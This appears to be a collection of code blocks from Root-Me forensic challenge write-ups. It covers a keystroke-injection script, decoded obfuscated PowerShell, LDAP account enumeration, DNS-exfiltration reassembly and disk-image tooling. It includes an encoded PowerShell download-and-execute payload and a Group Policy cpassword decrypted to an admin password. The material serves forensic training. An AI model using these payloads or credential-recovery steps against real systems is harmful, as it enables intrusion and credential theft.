STRING iexplore http://challenge01.root-me.org/forensic/ch14/files/796f75277665206265656e2054524f4c4c4544.jpg
7
ENTER
8
DELAY 4000
9

10
CONTROL S
11
DELAY 2000
12

13

14
DELAY 600
15

16
STRING %USERPROFILE%Documents796f75277665206265656e2054524f4c4c4544.jpg
17
DELAY 500
18

19

20
DELAY 500
21

22
STRING TAB
23
DELAY 500
24

25
STRING TAB
26
DELAY 500
27

28
STRING TAB
29
DELAY 500
30

31
STRING TAB
32
DELAY 500
33

34
STRING TAB
35
DELAY 500
36

37
STRING TAB
38
DELAY 500
39

40
STRING TAB
41
DELAY 500
42

43

44
DELAY 500
45

46
STRING DOWN
47
DELAY 500
48

49
STRING DOWN
50
DELAY 500
51

52
STRING DOWN
53
DELAY 500
54

55
STRING DOWN
56
DELAY 500
57

58

59
DELAY 500
60

61
STRING DOWN
62
DELAY 500
63

64
STRING DOWN
65
DELAY 500
66

67

68
DELAY 500
69

70
STRING powershell Start-Process powershell -Verb runAs
71
DELAY 500
72

73
STRING PowerShell -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAaABhAGwAbABlAG4AZwBlADAAMQAuAHIAbwBvAHQALQBtAGUALgBvAHIAZwAvAGYAbwByAGUAbgBzAGkAYwAvAGMAaAAxADQALwBmAGkAbABlAHMALwA2ADYANgBjADYAMQA2ADcANgA3ADYANQA2ADQAMwBmAC4AZQB4AGUAJwAsACcANgA2ADYAYwA2ADEANgA3ADYANwA2ADUANgA0ADMAZgAuAGUAeABlACcAKQA7AApowershell -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAGMAbwBtACAAcwBoAGUAbABsAC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuACkALgBzAGgAZQBsAGwAZQB4AGUAYwB1AHQAZQAoACcANgA2ADYAYwA2ADEANgA3ADYANwA2ADUANgA0ADMAZgAuAGUAeABlACcAKQA7AAoAexit

1
STRING PowerShell -Exec ByPass -Nol -Enc
2
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAaABhAGwAbABlAG4AZwBlADAAMQAuAHIAbwBvAHQALQBtAGUALgBvAHIAZwAvAGYAbwByAGUAbgBzAGkAYwAvAGMAaAAxADQALwBmAGkAbABlAHMALwA2ADYANgBjADYAMQA2ADcANgA3ADYANQA2ADQAMwBmAC4AZQB4AGUAJwAsACcANgA2ADYAYwA2ADEANgA3ADYANwA2ADUANgA0ADMAZgAuAGUAeABlACcAKQA7AA
3
powershell -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAGMAbwBtACAAcwBoAGUAbABsAC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuACkALgBzAGgAZQBsAGwAZQB4AGUAYwB1AHQAZQAoACcANgA2ADYAYwA2ADEANgA3ADYANwA2ADUANgA0ADMAZgAuAGUAeABlACcAKQA7AAoA
4
exit

1
iex ((New-Object System.Net.WebClient).DownloadFile('http://challenge01.root-me.org/forensic/ch14/files/666c616776765643f.exe','666c61676765643f.exe'));
2

3
iex ((New-Object -com shell.application).shellexecute('666c61676765643f.exe'));

1
 python3 analysis.py -f ../../ch32.json
2
[>] Loading ../../ch32.json ... done.
3
[]> help
4
 - searchbase                          Sets the LDAP search base.
5
 - object_by_property_name             Search for an object containing a property by name in LDAP.
6
 - object_by_property_value            Search for an object containing a property by value in LDAP.
7
 - object_by_dn                        Search for an object by its distinguishedName in LDAP.
8
 - search_for_kerberoastable_users     Search for users accounts linked to at least one service in LDAP.
9
 - search_for_asreproastable_users     Search for users with DONT_REQ_PREAUTH parameter set to True in LDAP.
10
 - help                                Displays this help message.
11
 - exit                                Exits the script.
12
[]> search_for_asreproastable_users
13
[CN=Fitzgerald,CN=Users,DC=ROOTME,DC=local] => userAccountControl
14
 - 4260352

1
"name": "Fitzgerald",
2
    "objectGUID": "{f3c1fa29-268a-4092-b183-bbe6c837ad79}",
3
    "userAccountControl": 4260352,
4
    "badPwdCount": 0,
5
    "codePage": 0,
6
    "countryCode": 0,
7
    "badPasswordTime": "1601-01-01 00:00:00",
8
    "lastLogoff": "1601-01-01 00:00:00",
9
    "lastLogon": "1601-01-01 00:00:00",
10
    "pwdLastSet": "2022-08-30 03:44:38",
11
    "primaryGroupID": 513,
12
    "objectSid": "S-1-5-21-1356747155-1897123353-4258384033-2027",
13
    "accountExpires": "9999-12-31 23:59:59",
14
    "logonCount": 0,
15
    "sAMAccountName": "flandry",
16
    "sAMAccountType": 805306368,
17
    "objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=ROOTME,DC=local",
18
    "dSCorePropagationData": [
19
        "1601-01-01 00:00:00"
20
    ],
21
    "msDS-SupportedEncryptionTypes": 0,
22
    "mail": "fitzgerald.landry@rootme.local"

1
 cat %5cnilux.me%5cPolicies%5c{F60A1B1E-75E4-46B7-BB73-281F9340A2B7}%5cMachine%5cPreferences%5cGroups%5cGroups.xml
2
<?xml version="1.0" encoding="utf-8"?>
3
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Helpdesk" image="2" changed="2015-05-06 05:50:08" uid="{43F9FF29-C120-48B6-8333-9402C927BE09}"><Properties action="U" newName="" fullName="" description="" cpassword="PsmtscOuXqUMW6KQzJR8RWxCuVNmBvRaDElCKH+FU+w" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="Helpdesk"/></User><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrateur" image="2" changed="2015-05-05 14:19:53" uid="{5E34317F-8726-4F7C-BF8B-91B2E52FB3F7}" userContext="0" removePolicy="0"><Properties action="U" newName="" fullName="Admin Local" description="" cpassword="LjFWQMzS3GWDeav7+0Q0oSoOM43VwD30YZDVaItj8e0" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="" userName="Administrateur"/></User>
4
</Groups>

1
fullName="Admin Local" description="" cpassword="LjFWQMzS3GWDeav7+0Q0oSoOM43VwD30YZDVaItj8e0"

1
 gpp-decrypt LjFWQMzS3GWDeav7+0Q0oSoOM43VwD30YZDVaItj8e0
2

3
#TuM@sTrouv3

1
tshark -r ch21.pcap -Y "ip.dst == 192.168.56.101 && dns.flags.response == 1" -T fields -e dns.qry.name > dns.txt

1
65be01241015bae363.jz-n-bs.local
2
019d01241015bae363.jz-n-bs.local
3
6c0601241015bae37400001b158001000389504e470d0a1a0a0000000d49.48445200000280000001e0080600000035d1dce400000006624b474400ff.00ff00ffa0bda793000000097048597300000b1300000b1301009a9c1800.00000774494d4507e1061b083806e97b0fcf.jz-n-bs.local
4
584c012410161de3740000001974455874436f6d6d656e74004372656174.656420776974682047494d5057810e1700001a794944415478daeddd7b70.54e5e1f8e137404092004a0404a4515b151544500449b5c5762ace042d54.c6b6761c914e71da2a5a2cb6a3d55a3bda61.jz-n-bs.local
5
45f40124101680e3746cada3e8a8ad8a565bb9e3a55ea88dce28820a946a.0c8a5a44915b1b05040231bcbf3f7e5fceec926cae9b9b3ccf4c6636d9b3.2767dfdd3dfbd9dd73cee6c418630000e0a0d1c910000008400000042000.000210000001080080000400400002002000.jz-n-bs.local
6
6a4101241016e3e374010010800000084000000420000002100000010800.800004001080000008400000042000000210000001080080000400400002.002000010010800000084000000420000002100000010800800004001080.000008400000042000000210000001080080.jz-n-bs.local
7
1f810124101746e374000400400002002000010010800000084000000420.000002100000010800200001001080000008400000042000000210000001.080080000400400002002000010010800000084000000420000002100000.010800200001001080000008400000042000.jz-n-bs.local
8
2d0d01241017a9e374000210000001080080000400400002002000010010.800000084000000420000002100040000200200001001080000008400000.042000000210000001080080000400400002002000010010800000084000.000420000002100040000200200001001080.jz-n-bs.local
9
2d26012410180ce374000008400000042000000210000001080080000400.400002002000010010800000084000000420000002100040000200200001.001080000008400000042000000210000001080080000400400002002000.010010800000084000000420008000040040.jz-n-bs.local
10
5f29012410186fe374000200200001001080000008400000042000000210.000001080080000400400002002000010010800000084000000420008000.040040000200200001001080000008400000042000000210000001080080.000400400002002000010010800000084000.jz-n-bs.local
11
4d2b01241018d2e374000108008000040040000200200001001080000008.400000042000000210000001080080000400400002002000010010800000.084000000108008000040040000200200001001080000008400000042000.000210000001080080000400400002002000.jz-n-bs.local
12
131f0124101935e374010010800000021000000108008000040040000200.200001001080000008400000042000000210000001080080000400400002.002000010010800000021000000108008000040040000200200001001080.000008400000042000000210000001080080.jz-n-bs.local
13
52440124101998e374000400400002002000010010800000021000000108.008000040040000200200001001080000008400000042000000210000001.0800800004004000020020000100042000000210bea056ad5a152ebbecb2.307cf8f050585818ba75eb167272720c4c1d.jz-n-bs.local
14
1ba401241019fbe374727272921fd713dc1fb3b57c393939a15bb76ea1b0.b0309c72ca2961ead4a961d5aa556efcd6b8fd628cd13074fc954443d576.73a75e3e1b77876f7ffbdb61f1e2c52184104a4a4ac2134f3cd1e879ecdb.b72f3cfef8e3e1c9279f0cafbcf24ad8bc79.jz-n-bs.local
15
426f0124101a5ee37473d8be7d7be8d9b367282a2a0a679c714698387162.183b766ca3aeff4b2fbd14ce3efbec505555d5a0b169ecf866731cb3791b.6fdcb831ac5cb932ed67fdfaf50d5ede6cdf479aabaaaa2a8c1a352aed89.221bcbd5deae674b68ee7d211bf7c7d6bebe.jz-n-bs.local
16
10550124101ac1e374b7df7e7b78f2c927c3071f7c104208a1a8a8289494.94842bafbc321c71c411adba4ececfcf0f03070e0ca3478f0e53a64c0967.9d7556d6ef8f2df5f86889c74b6d63959b9b1b4a4b4b437171b127f89614.e9f042080dfea9eff2cdb565cb96989b9b9b.jz-n-bs.local
17
46560124101b24e374ccaf4b972e71d3a64d8d9ac7cb2fbf1c870c19d2a0.eb73fcf1c7c7279f7cb2c1f32e2929492e3b61c284585e5e1ef7ecd993b5.f1cdd638b6e46ddc94e56dcdfb50435c77dd750dbe0ed9bc9e07c3faa235.ee8fad65c99225f1b0c30ecbb86cbd7bf78e.jz-n-bs.local
18
31580124101b87e374fff8c73fdaf4f17ad96597c5eaeaeaacde1f1bf3f8.c8d6f56c8e3d7bf6c4356bd6c489132726f31b3f7ebc27f7965e1718822f.d60abd2d1fc431c678db6db7d558f1dc7aebad0dbefc9c397362b76edd92.cb4e9c38312e58b0207ef4d147b1b2b2326e.jz-n-bs.local
19
049e0124101beae374d9b225bef4d24bf1f2cb2f8f3d7bf66cf472f7eddb.37b9ccbbefbedbeae3d356b771fffefd63494949bce1861be2e38f3f1e37.6cd8d0610370f9f2e5b173e7ce313f3f3feb01783068ee7da1a38c695959.592c282888218498979717efb9e79e585151.jz-n-bs.local
20
041c0124101c4de374112b2a2ae23df7dc13f3f2f2620821161414c4b7de.7aab551eaf9f7ffe795cb76e5dbcf3ce3b63af5ebd9269eeb8e38eac8d73.631f1fed2100f75bbb766d32bf7efdfa79b00a403a52000e1b36ac46000e.1d3ab441975dbd7a753ce490439215767def.jz-n-bs.local
21
01e90124101cb0e374ec6dd8b0214e9830a151cbdda54b9764b93efffcf3.8326005bfa9db1d61aa35dbb76c5e38f3f3e8610e29d77de2900dbe8fed5.11c6f49c73ce499671debc7935ce9f376f5e72feb871e35a7d3c67cf9e5d.ef3ab2b1e3dc94c7477b5a2f555555a57d7a.jz-n-bs.local
22
2ddd0124101d13e3748400a48304e0aa55ab92f974efde3d79f51d4288af.bffe7abd971f3d7a7432fdecd9b31bf43ff7eddb17a74f9fdea2d75500b6.9f00bce28a2b6208219e7df6d971dfbe7d025000d6aabcbc3c59bee1c387.679c6ef8f0e1c9746fbffd76ab8ee7962d5b.jz-n-bs.local
23
297d0124101d76e37492690e39e490ac8c73531e1f1d79bd44f3d80b98ac.79f0c10793d313264c0893264d4a7e9f3d7b76bd3b672c5bb62c8410c229.a79c122ebef8e2066f407cebadb7b6db31993c7972b2975c7e7e7e282b2b.ab314d595959c8cfcf4fa69b3c797287db4b.jz-n-bs.local
24
60bf0124101dd9e37431d39e81f59d1f4208dbb76f0f37de786338e9a493.425e5e5ec60de84b4b4bc31d77dc117af4e811eebffffe7a7744c8c6b2d5.e5f5d75f0f53a64c09c71e7b6cc8cfcf0ff9f9f9e1d8638f0d3ffce10fc3.ca952b1bbce7e4fffef7bf306ddab4505454.jz-n-bs.local
25
2bbe0124101e3ce374140e39e4903078f0e070cb2db7d4baa3d2c168e7ce.9de177bffb5d18356a5438f4d04343972e5d42af5ebdc2f0e1c3c3e5975f.1e962f5f5ee3320b162c484e5f70c10519e79d7adefcf9f3dbec3a161616.367b1e8d7d7cd466ebd6ade1b7bffd6d38f3.jz-n-bs.local
26
369a0124101e9fe374cc3343dfbe7d436e6e6ee8d9b367183e7c7898366d.5a78edb5d71a3caf0f3ffc300c1e3c38edfe3e73e64c77683b81f0457b07.70efdebdb14f9f3ec97c9e7beeb9f8c20b2f24bf1f7ef8e171efdebd192f.7ff5d55727d3fefef7bf6f5763d59cf1d9b9.jz-n-bs.local
27
37100124101f02e3747367da0e2d279c7042fcecb3cf92f377ecd811070f.1e9c9c3f64c890b86bd7ae0ef30e6053760448fdfba64d9b6adde1e740db.b66d8b454545318410efbdf7de065d87e62e5b26d5d5d571faf4e975ce33.2727275e73cd3571dfbe7d752ed7e6cd9bd3.jz-n-bs.local
28
20d70124101f65e3746effd49f0b2fbcf0a07f0770d3a64dc9479a8dd9d1.e4fcf3cf4fceab6b278f254b96a4ed14d69ae3f9d0430f25d34c9a34a959.e3dc94c7476dcb73e076834d7dbc949797c741830625e775eedc39de77df.7dde01f411305fc4005cb87061328f418306.jz-n-bs.local
29
04b10124101fc8e374c5eaeaeab86fdfbe78d45147257f9f3f7f7ec6cb9f.71c619c9742fbffc728b8cd3f6eddbebfdc8a525c6a7bcbc3cede3f0ef7f.fffbc979dffbdef792bf171414c4356bd67ce13f024e9d76c28409f1a8a3.8e8a73e7ce8d9f7cf249c6cb5c72c9253184.jz-n-bs.local
30
36e0012410202be37410cf39e79c46ffdf6cef057cedb5d726d30c1c3830.ce9933276edbb62d6edbb62d3ef6d86371c08001c9f937dc70439dff63e2.c48971fcf8f1b1bcbc3c565656c6850b17263b278410e233cf3cd3ee03f0.ab5ffd6aecd5ab57ecdab56b1c3060403cff.jz-n-bs.local
31
16a7012410208ee374fcf3e39c397332eed9da18975e7a69f27f468c1811.fff9cf7fc68a8a8ab867cf9ef8fefbefc7d9b367c733cf3cb3c6e58e3bee.b8e472efbdf75ec6f9bffbeebb69471468e9f1fcfcf3cfe3faf5ebe3dd77.df9dec9ddca74f9f8c1f3f37f47669cee323.jz-n-bs.local
32
351301241020f1e374c6181f78e08164badcdcdc387dfaf4b87af5eab86b.d7aeb86bd7aef8e69b6fc659b366c5d34f3fbddef9bffefaebf1f0c30f4f.fedeb56bd75ab7c1cc247527c01d3b7678821780347465d394c33164232e.525f715f7bedb5c9dfafbffefa06edd6dfbf.jz-n-bs.local
33
24e70124102154e3747fff64ba2d5bb6b4c8383dfffcf3c9ff38f9e493b3.3ebe758de1238f3c9236cddd77df1defbaebaeb4bf3df2c8232d761bb7d7.003cecb0c3e2871f7e58e7f48b172f8e2184d8ab57aff8d1471fb56900be.fdf6dbb153a74e318410f3f3f3e3dab56b6b.jz-n-bs.local
34
7c4401241021b7e3749d667fc475ead4a9c634a9ffe384134ea8f1cef88d.37de989c7fd14517b5fb00ccf4f3b5af7d2d6eddbab559cb95faa942a617.47b5493df44b5d1191faa2b0b0b0b055d7c9fdfbf78f575d7555dcb06143.b36e97e63e3e366edc18bb77ef9edc5f9f78.jz-n-bs.local
35
6729012410221ae374e28926df6f4a4b4b638f1e3dd25ed42e59b2a45163.97fa89c0f3cf3fef095e00d29e03f0c063ffa53ee1bdf7de7b31272727d9.ab6bf3e6cdb5ce63ffdebf218458595999d5f1f9ecb3cf62696969da476d.77de7967ab06608c314e9d3a3599a65bb76e.jz-n-bs.local
36
6629012410227de37469af74a74e9ddaa2b7717b0dc0dade214bb575ebd6.d8af5fbf1842880f3ef86093fe6f36afe7cf7ef6b3e4fc6baeb926e37c52.3769b8faeaab33fe8fbbefbebbc6655377a63aeeb8e3da65009e76da69f1.f6db6f8fab57af8e3b77ee8c7bf6ec89efbc.jz-n-bs.local
37
763a01241022e0e374f34e9c3973663cf4d04393798d1933a6c17bdbd726.75bd52dff13a335daeaaaa2ae374a97b9d76eddab555d7c99d3a758a63c7.8ead33b8eabb5db2f1f8f8d5af7e954c3379f2e4265fcfc58b17a7adc70b.0b0be3f2e5cb1b3d767ffce31fd35e209596.jz-n-bs.local
38
5d410124102343e37496a66d368300248b01d7dccba71efbafb8b8b8c6f9.679e796672fe1ffef087660560730e809c939313870e1d9ab68d4c6b8ccf.7e959595697b1da6eea5b87bf7ee565986f61680afbdf65a9dd37ee73bdf.a9f3dde3d60ec011234624e72f5bb62ce37c.jz-n-bs.local
39
3aa101241023a6e374962e5d9a4c77eaa9a766fc1fb51d7f2ef55da98282.820eb10e39f01dd0d48f001f78e08126cf6be8d0a169dbc9cd9f3f3feedc.b9b34305606d2f48972d5b966cfe91939313afbffefa26dd2ed9787c8c1a.352a99a6b4b4b4c9d733f5105b03070e8c65.jz-n-bs.local
40
671c0124102409e37465654d1ebf7beeb9270e1d3a3479f3c03681029076.1a80a9c7feab6d43df3ffde94fc9f9c3860dab751ea9db4dd5f511707303.70e4c891756e8bd8d24f8eefbefb6eda01607bf6ec59ebc788074b006edb.b62de3740f3ffc70f26d0d1f7ffc71bb08c0.jz-n-bs.local
41
17e9012410246ce374d477b73efdf4d38cf3f9e4934fd2be6d22d3ffd8be.7d7b8dcba61ebe232727a7c305608c31ce9a352b99dfb7bef5ad26cf67ee.dcb9351ee779797971fcf8f1f1cf7ffe73c67786dad347c075b9e8a28b92.e9162d5ad4a8f964ebf1d1bb77ef649a8a8a.jz-n-bs.local
42
460d01241024cfe3748a66bfd379ecb1c7c675ebd6356bfce6cf9f1f478e.1c29000520ed3900533faecacbcbabf5097ddbb66d691bb6af5cb9b2c634.63c68c69d24e200d59f64f3ffd342e58b020ed5b40e6cc99d3264f8e5555.5569c17cde79e7b5c913747b09c0daf6923d.jz-n-bs.local
43
0b060124102532e37430b61aba6d646b5ccfce9d3b37e840e2751dd0b63d.1ebb30dbffefc30f3f4ce6d7a74f9f66bd887be28927e249279d54ebf447.1c71447cfae9a76b5ca6bdee0472a0152b5624d37de31bdf68d47cb2f5f8.487de7aeae774b1b1a80c3860dab7387aefa.jz-n-bs.local
44
13af0124102595e3743cf6d86369df06b268d1a23a5f28220005601b05e0.b469d31abd8ddc15575c51633ebff8c52f9a741898c62c7bea9e6eb57d54.dd1a4f8ea9dbdbecfff9dbdffe76d00660639f5c5aead02e4d7907b0ae27.a586be03f8450dc0bd7bf7a6ed55da9c00dc.jz-n-bs.local
45
177b01241025f8e374ef8d37de88b7df7e7b1c376e5cecdab56bdafc0ffc.38be231c0626c61877efde9d4cd7ab57af46cd275b8f8f6cbd0398fae268.f4e8d14dde8337f5cd80871e7ac8137c0b7220689aacaaaa2a3cfae8a38d.bedca38f3e5ae320b713264c484effe52f7f.jz-n-bs.local
46
47bb012410265be3746991e5fde637bf999c7ee38d375a7dbc962f5f1e6e.bef9e61a7f9f3a756af8e0830fdca13a80638e3926395d5e5e9e71ba356b.d624a78f3efae8836e9c366dda949ceeddbbf781c79ecdf8539721438684.2baeb8223cfdf4d3e1e38f3f0edffdee7793.jz-n-bs.local
47
724e01241026bee374f5d075d75d9736ede9a79f9ef6b8cbe4d5575f4d4e.8f1c39b24dc7acb2b2b24dfeef71c71d979c5ebd7a7593e7937af0e965cb.9685f3ce3baf49d72975dd7cf6d9675be9b4200148933df5d45361ebd6ad.218410060d1a14aaabab33aed8abababc3a0.jz-n-bs.local
48
17280124102721e3744183420821fcf7bfff0d4f3df5548d15f6d8b16343.0821ac5ab5aa4522b05fbf7ec9e91d3b76b4ea58eddab52b5c7cf1c5a1ba.ba3a8410427171711213dbb66d0b3ff8c10f92f33aa2dcdcdce474b6ae47.5da1505b3064fa7b3697edeb5fff7a727af1.jz-n-bs.local
49
2af30124102784e374e2c519a75bb87061727afffdfa60923a36a79e7a6a.d6e75f585818eeb8e38ee4f7a54b97667c41396fdebc8cf3493d6fe2c489.ad3e4ea9df0c74e49147b6c9e363dcb871c9e9871f7eb8c9d7e5e28b2f0e.b366cd4a7e2f2d2d0d175c7041a3bfd1e6b3.jz-n-bs.local
50
059101241027e7e374cf3eab759d4d0bf026a88f809b7af94cc7fecb24f5.00bae79f7f7e8df3df7efbedd8b367cfe4186bb56ddbd3dc650f6df45dc0.3ffef18f9379f4e8d123fee73fff89afbcf24adaf63737de786387fd0838.75279efa8eeb97cdebd290796573d9528f03.jz-n-bs.local
51
71b4012410284ae374d8a3478ff8fefbefd79866eddab5c9372ad4771cc0.2fe247c06bd6ac89858585c9fc1e7becb11659e677de79276d5bb1039d73.ce39c9f9b51d8878debc79c9f9e3c68d6b93f14c3d10fc4f7ffad33659b7.6fdebc39edb8957ffffbdf9b35ff993367a6.jz-n-bs.local
52
774901241028ade374fd7dd2a4498d3a1450b0d3876d0069df0158d7b1ff.3259bb766dda763bb5ededfbecb3cf260712cdc9c989175c70415cb46851.dcb06143dcb3674fdcbd7b777cefbdf7e25ffffad7386edcb80e1180cf3c.f34cda3ceebffffee4bc9b6eba296d6781a5.jz-n-bs.local
53
583a0124102910e3744b9776c8009c34695272fe65975d16376dda947107.8fd60ec06c2f5bea0b99418306c579f3e6c5eddbb7c7eddbb7c7b973e7c6.238f3cb2c1df04d2110370d8b061f1a69b6e8a2fbcf042dcb87163dcb367.4facacac8c6bd6ac8937df7c73f2222e8410.jz-n-bs.local
54
1cab0124102973e3744b4a4a9ab55c279f7c72fccd6f7e135f7cf1c5b865.cb96585555152b2a2ae2b3cf3e9bb633556ddb1597959525dfc093979717.efbdf7de585151112b2a2ae2bdf7de9b444f414141b30e59d2d8f1dcb973.675cb66c59bcf0c20bd30e885edb01a15b6b.jz-n-bs.local
55
544801241029d6e374ddbe7f8fe2fdebe69ffffce7f1dffffe77dcbd7b77.dcb56b572c2b2b6bf03781c458735be7c99327d7b9c397001480b483000c.0ddc80b8be63ff65525c5c9c5ceeb6db6eab759a37df7c336d43e0fa7ece.38e38cf8e28b2fb64a0086466e645d515191.jz-n-bs.local
56
3f8b0124102a39e374f60ed4811b9a575757c7b3ce3a2b39ffe8a38fae75.e7826cac1443330e665ddfff5fb16245dab11c439676cac8c6ed99ed65ab.aeae4e3b2074c8f05dc03366cca8f7bb80dbea49305bf785ba7e2eb9e492.5abfd73adbcb3976ecd88c3b1c3cf7dc7369.jz-n-bs.local
57
35c80124102a9ce374878439f0e7b0c30e6bf43755647b7c8b8a8a321e0f.b3355fdc3ff4d04369476b68eee3e5aaabae4a3bfff2cb2f178002902f42.00d677ecbf4ceebbefbe7a8f09b85f6969699c366d5a1c316244ecdbb76f.cccdcd8df9f9f971d0a04171dcb871f1d7bf.jz-n-bs.local
58
61d00124102affe374fe757cf3cd371b755d53bf7da3a1df38d29c004c7d.95dfaf5fbf5abf1a6bfdfaf5694f52b57dfd577b0fc018ffff5e9a975e7a.693cfef8e3635e5e5eda31bcda32005b6ad95e7bedb578e9a597c62f7ff9.cbb17bf7eeb17bf7eef12b5ff94a9c32654a.jz-n-bs.local
59
78b80124102b62e3745cb16245b396b93d07607979799c3973661c3f7e7c.3ce6986362f7eedd63972e5d62efdebde369a79d16a74d9b56eba19e9ae2.adb7de8ab7dc724b3cf7dc73e397bef4a5d8b56bd7e43b874b4a4ae2a38f.3e5aef3b4b1f7ffc719c3163463cf1c41363.jz-n-bs.local
60
489d0124102bc5e3744141412c282888279e78629c316346dcb87163ab8f.6fb76edde2800103e2b9e79e1befbaebae3abfe5a2b53fddd9b46953bcfe.faebe3a851a362efdebd63e7ce9d63cf9e3de3881123e295575e195f7df5.d546cdff473ffa51da34bffce52febfcff95.jz-n-bs.local
61
30950124102c28e37495954dfabe769a26e7ff6e44382814151585f5ebd7.277b9b0d1932c4a000b403656565c93ab9a8a828ac5bb7cea0b4207b0173.50292e2e4e4ecf98312394959585bd7bf71a18803652555515cacbcbc335.d75c93fc6dcc983106a68579079083cabffe.jz-n-bs.local
62
11940124102c8be374f5af3066cc98b07bf7ee1ae7792800b47284fcdfb1.035375efde3d2c5dba349c72ca2906480042f6ac59b326cc9a352b2c5dba.34ac5bb72eecd8b1235455550940803608c0dcdcdcd0a3478f505454148a.8b8bc34f7ef2933078f06083230001d8ff64.jz-n-bs.local
63
0e5d0124102ceee374d91456f3c6180e641b40008083edc58e770001000e.2ede01040010800000084000000420000002100000010800800004004000.020020000100108000000840000004200000021000000108002000010010.800000084000000420000002100000010800.jz-n-bs.local
64
581c0124102d51e374800004004000020020000100108000000840000004.200000021000000108002000010010800000084000000420000002100000.010800800004004000020020000100108000000840000004200000021000.400002002000010010800000084000000420.jz-n-bs.local
65
033f0124102db4e374000002100000010800800004004000020020000100.108000000840000004200000021000400002002000010010800000084000.000420000002100000010800800004004000020020000100108000000840.000004200080000400400002002000010010.jz-n-bs.local
66
4eae0124102e17e374800000084000000420000002100000010800800004.004000020020000100108000000840000004200080000400400002002000.010010800000084000000420000002100000010800800004004000020020.000100108000000840000004200080000400.jz-n-bs.local
67
11880124102e7ae374400002002000010010800000084000000420000002.100000010800800004004000020020000100108000000840000001080080.000400400002002000010010800000084000000420000002100000010800.800004004000020020000100108000000840.jz-n-bs.local
68
14930124102edde374000001080080000400400002002000010010800000.084000000420000002100000010800800004004000020020000100108000.000210000001080080000400400002002000010010800000084000000420.000002100000010800800004004000020020.jz-n-bs.local
69
4a7b0124102f40e374000100108000000210000001080080000400400002.002000010010800000084000000420000002100000010800800004004000.02002000010004a021000010800000084000000420000002100000010800.800004004000020020000100108000000840.jz-n-bs.local
70
0a9b0124102fa3e374000004200000021000000108002000010010800000.084000000420000002100000010800800004004000020020000100108000.000840000004200000021000000108002000010010800000084000000420.000002100000010800800004004000020020.jz-n-bs.local
71
130e0124103006e374000100108000000840000004200000021000400002.002000010010800000084000000420000002100000010800800004004000.020020000100108000000840000004200000021000400002002000010010.800000084000000420000002100000010800.jz-n-bs.local
72
09b50124103069e374800004004000020020000100108000000840000004.200080000400400002002000010010800000084000000420000002100000.010800800004004000020020000100108000000840000004200080000400.e060f0ff004931172f17c25a180000000049.jz-n-bs.local
73
62c101241030cce374454e44ae426082.jz-n-bs.local
74
347301241030d3e374.jz-n-bs.local
75
171101241030d3e374.jz-n-bs.local
76
38d801241030d3e374.jz-n-bs.local
77
7b3201241030d3e374.jz-n-bs.local
78
4a0a01241030d3e374.jz-n-bs.local

1
with open("dns.txt", "r") as f:
2
    lines = f.readlines()
3

4
result = ""
5

6
for line in lines:
7
    line = line.strip()
8
    if not line.endswith("jz-n-bs.local"):
9
        continue
10

11
    domain = line.split(".jz-n-bs.local")[0]
12

13
    cleaned = domain.replace(".", "")
14

15
    if len(cleaned) > 18:
16
        cleaned = cleaned[18:]
17
    else:
18
        cleaned = ''
19

20
    result += cleaned
21

22
print(result)

1
file image_forensic.e01
2
image_forensic.e01: EWF/Expert Witness/EnCase image file format

1
fls image_forensic.e01
2
Unsupported image type (Tar Archive)

1
ewfexport image_forensic.e01
2
ewfexport 20140816
3

4
Information for export required, please provide the necessary input
5
Export to format (raw, files, ewf, smart, ftk, encase1, encase2, encase3, encase4, encase5, encase6, encase7, encase7-v2, linen5, linen6, linen7, ewfx) [raw]: raw
6
Target path and filename without extension or - for stdout:
7
Target is required, please try again or terminate using Ctrl^C.
8
Target path and filename without extension or - for stdout:
9
Target is required, please try again or terminate using Ctrl^C.
10
Target path and filename without extension or - for stdout:
11
Target is required, please try again or terminate using Ctrl^C.
12
Target path and filename without extension or - for stdout: for1
13
Evidence segment file size in bytes (0 is unlimited) (0 B <= value <= 7.9 EiB) [0 B]:
14
Start export at offset (0 <= value <= 9431040) [0]:
15
Number of bytes to export (0 <= value <= 9431040) [9431040]:
16

17
Export started at: Jun 28, 2025 23:25:18
18
This could take a while.
19

20
Export completed at: Jun 28, 2025 23:25:18
21

22
Written: 8.9 MiB (9431040 bytes) in 0 second(s).
23
MD5 hash calculated over data:          ba74f9213ff89221eb9b68cd03ff0242
24
ewfexport: SUCCESS

1
 python3 bmc-tools.py -s ../bcache24.bmc -d ../output -v
2
[+++] Processing a single file: '../bcache24.bmc'.
3
[+++] Processing a file: '../bcache24.bmc'.
4
[===] Successfully loaded '../bcache24.bmc' as a .BMC container.
5
[+++] 100 tiles successfully extracted so far.
6
[+++] 200 tiles successfully extracted so far.
7
[+++] 300 tiles successfully extracted so far.
8
[+++] 400 tiles successfully extracted so far.
9
[+++] 500 tiles successfully extracted so far.
10
[===] 575 tiles successfully extracted in the end.
11
[===] Successfully exported 575 files.

1
mmls image.dd
2
DOS Partition Table
3
Offset Sector: 0
4
Units are in 512-byte sectors
5

6
      Slot      Start        End          Length       Description
7
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
8
001:  -------   0000000000   0000000127   0000000128   Unallocated
9
002:  000:000   0000000128   0000147583   0000147456   NTFS / exFAT (0x07)
10
003:  -------   0000147584   0000153599   0000006016   Unallocated

1
